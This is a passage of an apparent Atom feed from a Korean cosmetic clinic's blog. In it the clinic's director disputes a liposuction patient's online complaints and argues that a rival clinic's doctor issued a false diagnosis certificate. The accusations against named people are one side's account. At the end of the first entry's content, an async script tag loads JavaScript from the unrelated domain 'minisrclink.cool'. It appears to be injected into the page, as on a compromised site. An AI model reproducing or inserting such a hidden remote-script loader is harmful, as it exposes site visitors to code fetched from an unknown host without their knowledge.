것은 추가수술이며 재수술과 차이점은 수술부위가 다르다는 점입니다. 복부지방흡입 수술 후에 팔이나 허벅지 지방흡입을 받는 것 처럼 말입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;debakbuja님은 저희 비너스의원에서 2016년 4월 7일에 A 절개구만으로 누운 상태에서만 전측복부와 옆구리(러브핸들)의 수술을 받았고, 요추주위등의 수술은 받지 않았습니다. &lt;/strong&gt; 그리고 2017년 1월 23일 강남의 T의원에서 요추주위등 부위의 추가수술을 받은 것으로 알고 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489701&quot;&gt;7. debakbuja님의 지방흡입수술 전후비교사진&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그리고 2017년 5월 25일 debakbuja님은 자신의 네이버 블로그에 &lt;code&gt;재수술전후사진&lt;/code&gt;이라는 게시물을 작성하여 전후사진을 비교하여 게시해 놓았습니다. 앞서 보여드린 대로 B 절개구만을 이용하여 뒷구만의 지방흡입에도 옆구리라인의 개선이 있습니다. 그래서 어떤 부위를 수술 받았고, 수술후 사진은 언제 촬영했는지, 그리고 정면, 측면, 후측사진이 공개되었으면 좋겠습니다. 아울러 만일 촬영 했다면 양측 팔을 내린 모습으로 비교한 사진도 역시 보고 싶습니다. &lt;strong&gt;전후사진의 폭이 비슷한 반면에 길이는 서로 차이가 있으므로, 포토샵으로 사진을 위 아래로 늘려 놓은 것 같아서 원본사진으로 비교해 보고 싶습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/03ad339196c5caf8e8fae72dee24314c.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja님의 게시물내용으로는 불특정 다수의 사람들이 저희 비너스 의원에서 돈만 받고 옆구리 수술을 하지 않았고, 다른 병원에서 옆구리 부위를 다시 재수술하여 옆구리의 돌출이 제거된 것으로 생각할 수 있어서 심히 염려스럽습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원 원장 정원호&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot; type=&quot;button&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot; type=&quot;button&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot; type=&quot;button&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot; type=&quot;button&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489684&quot; type=&quot;button&quot;&gt;5. 2014년 지방흡입 수술을 받은 N님에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489700&quot; type=&quot;button&quot;&gt;6. debakbuja님의 사건 경위서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489701&quot; type=&quot;button&quot;&gt;7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489712&quot; type=&quot;button&quot;&gt;8. debakbuja님이 인터넷에 공표하고 있는 주장들&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489746&quot; type=&quot;button&quot;&gt;9. 강남K의원 C원장의 생각하는 &amp;lsquo;러브핸들&amp;rsquo; 부위와 진단서에 대하여&lt;/a&gt;&lt;/p&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;</content>			</entry><entry>
		<title>9. 강남T의원 C원장의 생각하는 ‘러브핸들’ 부위와 진단서에 대하여</title>
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		<published>2017-05-15T11:57:44+09:00</published>
		<updated>2021-09-19T02:23:46+09:00</updated>
		<author>
			<name>drpiggy</name>
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		<summary type="text">9. 강남T의원 C원장의 생각하는 &#039;러브핸들&#039; 부위와 진단서에 대하여 저희 병원에서 수술을 예정하고 예약금을 걸었던 L님이 수술을 취소하려 하였고, 저에게 메일을 보내주었는데, 핵심내용은 아래와 같습니다. ‘옆구리 수술을 하였는데 전혀 수술이 되어있지 않은 상태로 돈을 받으셨다고.. 타병원에서 결국 재수술하셨고 비너스의원에 항의 했더니 명예훼손으로 고소한다고 수술을 방해하셨다고 ...수술을 하지않고 돈만 받은 것 ...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;9. 강남T의원 C원장의 생각하는 &amp;#39;러브핸들&amp;#39; 부위와 진단서에 대하여&lt;/span&gt;&lt;/h3&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저희 병원에서 수술을 예정하고 예약금을 걸었던 L님이 수술을 취소하려 하였고, 저에게 메일을 보내주었는데, 핵심내용은 아래와 같습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt;&amp;lsquo;옆구리 수술을 하였는데 전혀 수술이 되어있지 않은 상태로 돈을 받으셨다고.. 타병원에서 결국 재수술하셨고 비너스의원에 항의 했더니 명예훼손으로 고소한다고 수술을 방해하셨다고 ...수술을 하지않고 돈만 받은 것 같다고 하시더라구요 여기정말 악질이라고 하셨어요.... 그때부터 정말 정신이 아득해지면서 이글을 본게 다행이라고 느껴졌습니다.&amp;rsquo;&lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;사실은 2016년 3월 7일 저희 비너스의원에서 전측복부와 옆구리(러브핸들)의 지방흡입 수술과 유방지방이식 수술을 받았던 debakbuja님이 옆구리 부위의 돌출이 남아 있자, 불만을 갖게 되었고, 올해 2007년 1월 강남에 있는 T의원에 가서 진찰해 본 결과 러브핸들 부위는 28 mm 가 남아있고 러브핸들 부위는 수술이 안되어 있다는 의사의 소견을 듣고 저희 비너스의원의 실장에게 전화를 걸어 항의 하며, 수술비 환불을 요구하였던 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;참고로 debakbuja님은 저의 비너스의원에서 수술 받을 당시 신장. 159.3 cm, 체중 54.1 kg, BMI 21.3 으로 비만도는 정상 범위였기 때문에 저는 도저히 그 사실을 믿을 수가 없었습니다. 저희 비너스의원에서 debakbuja님 정도의 비만도를 가진 사람을 제가 옆구리를 수술한 경우에, 수술 후 1개월째 체크하는 초음파상 지방층 두께가 10mm 를 넘는 경우는 거의 보지 못했기 때문입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저는 debakbuja님이 강남T의원에서 debakbuja님이 수술을 받기 전에 남아있는 지방층의 두께가 28mm 로 진짜 맞는지 확인 하기 위해 2017년 1월 21일 토요일 오전에 debakbuja님에게 직접 전화를 걸어 내원을 요청 하였고, 토요일이나 일요일에 시간이 허락하는 대로, 심지어 바쁘다는 말에 저녁 12에라도, 언제든지 나와서 진찰하고 초음파로 확인하고 싶다며 환자에게 내원을 요청하였습니다. 심지어는 28 mm 가 진실로 밝혀지면 수술비를 전액 환불해 드리겠다고 하였음에도 debakbuja님은 끝내 저희 비너스의원에 내원하지 않으시고 다음 주 월요일인 1월 23일에 강남T의원에서 옆구리(러브핸들) 수술을 받으셨습니다. 그 사실은 아래 debakbuja님이 네이버 등에 남긴 게시글에 게제 되어 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그리고 강남T의원 C원장에게 전화를 걸어 확인해 본 결과 &amp;#39;C원장 자신은 옆구리에 수술이 되지 않았다는 말을 debakbuja님께 하지 않았고, 다만 지방층의 두께를 재었더니 러브핸들 부위가 28 mm 남아 있다고만 했으며, 아래와 같이 각각 남은 지방층 두께에 대해서도 debakbuja님에게 알려 주었다고 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;h4&gt;강남T병원 C원장이 전화통화로 알려준 지방층의 두께&lt;/h4&gt; - 상복부 14&amp;ndash;16 mm&lt;br /&gt; - 하복부 18-19 mm&lt;br /&gt; - 옆구리 12-14 mm&lt;br /&gt; - 우전면부, 좌전면부 각각 12, 14 mm&lt;br /&gt; - 러브핸들 28 mm&lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;앞선 게시물에서 말씀드렸듯이 그리고 강남T의원 C원장의 경우 러브핸들을 뒷구리(Paralumbar area)로 인식하고 있어서 옆구리와 러브핸들의 두께를 각각 분리하여 알려주었으나, 아래에서 보듯이 debakbuja님은 러브핸들과 옆구리를 동일부위로 인식하고 있어서, 옆구리 단독 이나 러브핸들 단독, 또는 옆구리(러브핸들)로 각각 혼용하여 기록하고 있으며, &lt;code&gt;옆구리가 28 mm&lt;/code&gt; 남아 있고, 옆구리의 수술이 되지 않았다고 인터넷을 통해 저희 비너스의원을 비방하고 있는 상황입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. &amp;#39;러브핸들&amp;#39;이란 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom40&quot;&gt;아래 글은 debakbuja님이 네이트에 게시하였던 글 중에 일부를 발췌한 내용입니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/e3fba3ba3e38883268cf3b093a948bd6.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom40&quot;&gt;아래 사진은 debakbuja님이 복근과 지방층을 동시에 잡고 있으면서 옆구리에 5-6cm 남았다고 주장하고 있습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/116/712/489/88fe2fe29dd7660cbd316f2ec783ed18.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;2017-05-18-20-19-02.JPG&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/55da3a1d623dcdc4e8692f6237087571.JPG&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 글은 debakbuja님의 네이버 블로그에 게제되고 있는 글 중 일부를 발췌 하였습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/266446fabbd22c711dfa8d45e3c78fc4.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom40&quot;&gt;아래 글은 네이버 지식인에 게제 되고 있는 글입니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/28551eb2841fbad6f822b983074eecf0.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom40&quot;&gt;아래 게시글은 debakbuja님이 네이버 안티성형카페에 올린 게시물로서 게시글과 함께 진단서를 직접 볼 수 있도록 게제되어 있습니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/2f48d6272bd06af16afe56705dbb4b3f.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom40&quot;&gt;아래는 저희 비너스의원에서 허벅지와 엉덩이를 수술받은 L님이 debakbuja님과 동일인물로 추정되는 ZZZ661님과 네이버 라인를 이용하여 대화하고 저에게 알려준 메일에서 발췌한 내용입니다.&lt;/h5&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/d1080ab420442a27c94cf000fed4bf0a.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt;Debakbuja 님이 인터넷에 공개하고, 라인을 통하여 제 환자에게 전해 주었던 진단서에는 진단명이 없이 주상병을 &amp;lsquo;러브핸들 지방흡입 수술후 상태&amp;rsquo; 라고 하였으며, 부상병은 &amp;lsquo;복부지방흡입후 상태(환자진술)&amp;rsquo;로 되어 있으며 상병기호란은 비워져 있습니다. 치료내용및 향후치료에 대한 소견란에는 &amp;lsquo;환자요청사항: 러브핸들 수술중 특별한 유착이 느껴지지 않았던 것으로 보아 재수술이 아닌 것으로 추정됩니다. (수술집도의 의견입니다)&amp;rsquo; 라고 쓰여져 있습니다.&lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그리하여 저희 비너스의원에서 수술받았던 debakbuja님은 강남T의원 C원장의 초음파 소견과 진단서를 근거로 네이버의 블로그, 카페, 지식인 등에 수십개의 게시글을 통하여 저희 비너스의원을 비방하고 있는 실정입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;일단, 앞서 제가 게제했던 &amp;#39;러브핸들&amp;#39;이라는 용어에서부터 다시 생각해 봅니다. 일단 debakbuja님은 강남T의원 C원장의 러브핸들 부위에 대한 인식에 차이가 있습니다. C원장은 저와의 통화에서 러브핸들이라는 부위는 척추에서 45도 방향을 이루는 부위를 지칭한다고 하였으며 아래 그림에서 보듯이 해부학적으로 외사근과 척추기립근 사이, 즉 뒤에서 보이는 요추주위 등(Paralumbar area)를 지칭하는 것 같습니다. 따라서 옆구리와 러브핸들이 서로 다른 부위처럼 이야기를 하고 있었습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/667d656f0e9ba5f0ec974a5990c4a532.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;실제로 요추주위등 부위는 비만도가 증가할수록 지방층이 깊어 지고 대부분 2층이상으로 되어 있어, 엎드린 자세에서 흡입을 해 낼 수 있는 부위로, 제가 전측복부와 옆구리의 지방흡입에서 사용하는 전상방장골극(AIIS) 하방의 절개구(Adit)로는 이 부위의 심층 지방은 제거할 수 없습니다. 따라서 저의 경우 이 부위의 지방층을 뒤에서 보여지는 옆구리 즉, 뒷구리(paralumbar area)라 지칭하면서 원하는 경우 추가 수술 비용을 받고 엎드린 상태로 수술을 하고 있습니다. &lt;strong&gt;debakbuja님의 경우에는 저희 비너스의원과 이 부위의 수술은 계약하지 않았습니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/490385&quot;&gt;재수술사진인지 추가수술사진인지 밝혀야 합니다.&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489701&quot;&gt;debakbuja님의 수술 전후비교사진&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/a410a073a693241742133f6664188764.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/746/489/c999be3af984fb8917c7e71214785e12.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그렇지만 debakbuja님의 경우 옆구리와 러브핸들을 동일화 하고 있으며, 옆구리(러브핸들) 이렇게 게시글을 작성하고 있은 것으로 보아 강남T의원 C원장이 옆구리는 12-14mm 그리고 러브핸들 부위는 28mm 이라고 구분하여 언급 하였음에도 이를 모르는 듯이 &lt;code&gt;옆구리(러브핸들)이라고 지칭하며 22-28mm&lt;/code&gt; 로 게제 하고 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;앞서 말씀 드린 대로 사전적 의미의 러브핸들은 몸통의 측면에서 머핀 탑처럼 외사근의 윗쪽 돌출부위를 말하는 것임에도 C원장은 정확한 수술부위에 대해 debakbuja님에게 설명하지 않은 것 같습니다. 그리고 강남T의원 C원장의 경우 저와 전화통화한 내용처럼 옆구리와 러브핸들을 구분하여 사용하고 있다고 한다면 과연 러브핸들 부위의 범위를 어디까지 보고 있는 것일까요?&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-warning&quot;&gt; &lt;p&gt;대한의사협회에서 2015년도에 발행한 의사협회장은 &amp;lsquo;진단서등 작성교부 지침&amp;rsquo;에 따르면 &amp;lsquo;진단서는 의사가 사람의 생명-죽음과 건강-상병에 관하여 의학적으로 판단하여 작성한 문서입니다. 의사가 환자를 진료할 때에는 환자-의사 관계이지만 진단서를 작성할 때에는 감정인-피감정인이 됩니다. 온정적으로 대하던 환자를 갑자기 피감정인으로 간주하기는 어렵습니다. 정이 많은 우리 나라 사람들에게는 무척 어렵습니다. 실제로 진단서 관련된 분쟁이 다른 나라 보다 많다고도 합니다. 진단서는 환자의 권리를 지키기 위한 도구지만 다른 한편은 그로 인하여 불이익을 보는 사람이나 집단이 있을 수 있습니다. 당연히 진단서는 공정하고 근거를 갖추어야 합니다. 무엇보다도 진정성을 바탕으로 작성해야 합니다.&amp;rsquo; 라고 되어 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한 &amp;lsquo;허위진단서 작성죄가 성립하려면 허위의 내용, 즉 진실이 아닌 내용을 진단서 등에 기재하여 작성하는 것이다. 이 죄에서 허위의 내용은 사실에 관한 것이든 판단에 관한 것이든 모두 포함한다. 사실에 관한 것으로는 사망일시, 치료의 여부와 치료기간, 입원기간 또는 진료일시에 대한 기재도 허위의 대상이 될 수 있다. 판단에 관한 것으로는 주로 병명(病名)과 사인(死因) 등이며 더불어 향후 치료 소견 등도 포함한다&amp;rsquo; 고 하며 &amp;lsquo;이 죄가 성립하려면 고의(故意)가 있어야 한다. 의사가 자기가 작성하는 것이 진단서라는 사실과 그 내용이 허위라는 사실을 인식하고 인용하여야 한다.&amp;rsquo; 고 합니다.&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5 class=&quot;headline left-line mBottom40&quot;&gt;저는 강남T의원 C원장이 작성한 진단서는 아래와 같은 이유로 허위진단서라고 생각됩니다.&lt;/h5&gt; &lt;p&gt;&lt;strong&gt;첫째&lt;/strong&gt;, 의료법 시행규칙 제9조 진단서의 기재사항에 명시된 것처럼&amp;nbsp;&amp;nbsp;표준질병기호에 입각한 명확한 진단명이 기입되어 있지 않고, 현재의 상태만이 기입되어 있습니다. 그러나 모든 사람들이 똑같은 범위의 수술부위로 인식하기 어려운 속어적인 표현인 러브핸들이라는 용어를 사용하여 주상병을 &amp;#39;지방흡입 수술후 상태&amp;#39;가 아닌 &amp;#39;러브핸들 지방흡입 수술후 상태&amp;#39; 라고 기입한 것은 의료법을 위반하여 의사가 임의적으로 진단명을 작성한 것으로&amp;nbsp;생각됩니다. 특히나 저와 같이 수술부위를 다투고 있는 상황에서는 더욱 그렇습니다. 얼마나 많은 사람들이 강남T의원 C원장이 인식하고 있는대로 &amp;#39;러브핸들&amp;#39;의 구체적인 범위를 인지하고 있을까요? 제가 이전에 debakbuja님을 수술했던 부위인 옆구리(러브핸들)이라고 인지하는 사람들이 더 많을 듯싶습니다. 아뭏튼 진단서에는 의료법에 의해 표준질병기호와 그에 상응하는&amp;nbsp;진단명을 작성해야 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;두번째&lt;/strong&gt;, 치료내용및 향후 치료에 대한 소견에서 &amp;lsquo;환자요청사항: 러브핸들 수술중 특별한 유착이 느껴지지 않았던 것으로 보아 재수술이 아닌 것으로 추정됩니다. (수술집도의 의견입니다)&amp;rsquo;라고 되어 있습니다. 진단서는 현재 환자의 건강상태를 증명하기 위해 작성되는 일종의 감정서로, 재수술에 대한 가부 여부를 감정하는 목적으로 의사가 발급하는 것은 적절하지 못합니다. 이러한 내용은&amp;nbsp;&amp;#39;대한의사협회 감정위원회&amp;#39;같은 객관적인 감정기관이 판단할 영역이지 지방흡입 분야에서 서로 경쟁관계에 있어 이해충돌이 있는&amp;nbsp;상대방 의사가 작성할 내용이 아닙니다.&amp;nbsp;또한 치료내용및 향후치료에 대한 소견란의 경우에도 의사의 판단영역으로 볼 때 &amp;#39;환자의요청사항&amp;#39; 이라 기입하는 것은 의사의 판단이 그 자체로 피감정인의 요청을 수용하는 것으로 공정한 객관성을 갖추지 못했다고 사료됩니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;세번째&lt;/strong&gt;, 재수술이 아님을 판단하는 내용도 의사의 판단영역으로 유착이 느껴지지 않았다는 이유만으로 재수술이 아니라는 판단은 객관적인 판단이 아닙니다. 지방흡입 수술후 회복은 6개월 정도가 소요된다고 알려져 있습니다. debakbuja님의 경우 2016년 3월 7일 수술하여 추가적인 수술이 2017년 1월 23일 이니 이미 10개월이 지난 상태로 유착이 남아 있다고 판단하기 힘든 상황입니다. 또한 재수술은 모두 유착이 있는 것은 아니므로, 유착이 없다고 재수술이 아니라는 판단은 근거가 없는 주관적인 판단이라고 생각합니다. 지방흡입 수술은 지방을 제거하는 수술이 아니라 지방을 남기는 수술입니다. 지방조직을 적당하게 잘 남겨 자연스러운 체형을 만드는 성형수술로 과도한 지방을 제거하여&amp;nbsp;유착을 만드는 수술이 아닙니다. 즉, 유착이 없는 것이 좋은 지방흡입 수술입니다. 그리고&amp;nbsp;지방흡입 수술에서 지방이 완전하게 제거되지 않았다거나 지방흡입이 제대로 되지 않았다는 판결은 지방흡입 수술을 모르는 일반인 판사의 어리석은 판단입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;네번째&lt;/strong&gt;, 강남T의원 C원장은 저와 전화통화를 통하여 기왕의 수술 범위에 대한 정보를 얻었고, 또한 이전 수술의 절개구 위치를 참고하여 추정하면 수술부위를 알 수 있을 정도의 지방흡입 전문가임에도 &amp;#39;러브핸들&amp;#39; 이라는 모호한 용어를 사용하여, debakbuja님에게 러브핸들 부위가 수술이 되지 않았다는 진단서를 발급한 사실은 debakbuja님이 옆구리(러브핸들) 이라는 수술범위를 인지하고 있는 상태에서 고의적으로 명확한 부위가 확정되지 않은 용어인 &amp;#39;러브핸들&amp;#39;이라는 용어를 사용했다고 판단됩니다. 만일 고의적이 아니었다면 제가 전화통화로 요청하였듯이 러브핸들의 수술범위에 대해 debakbuja님께 고지하며, 자세한 부연설명이 되어있는 진단서를 발급해 주었을 것입니다. 이는 강남T의원의 C원장이 고의적으로 &amp;#39;러브핸들&amp;#39;이라는 모호한 용어를 진단서에 사용했다고 판단됩니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja는 강남T의원에서 꼬리뼈에 절개구를 내어 엎드린 상태에서 수술을 받았습니다. 저희&amp;nbsp;비너스의원은&amp;nbsp;옆구리(러브핸들)를 수술하기 위해서는 골반 측면에 절개구를 내어 누운 자세에서 수술을 하고, 뒷등과 뒷구리를 수술하기 위해서 꼬리뼈에 절개구를 내어 엎드린 자세로 수술합니다. 그러므로 강남T의원이 인식하고 있는 &amp;#39;러브핸들&amp;#39; 부위는 저희 비너스의원의 &amp;#39;러브핸들&amp;#39;부위와 명백하게 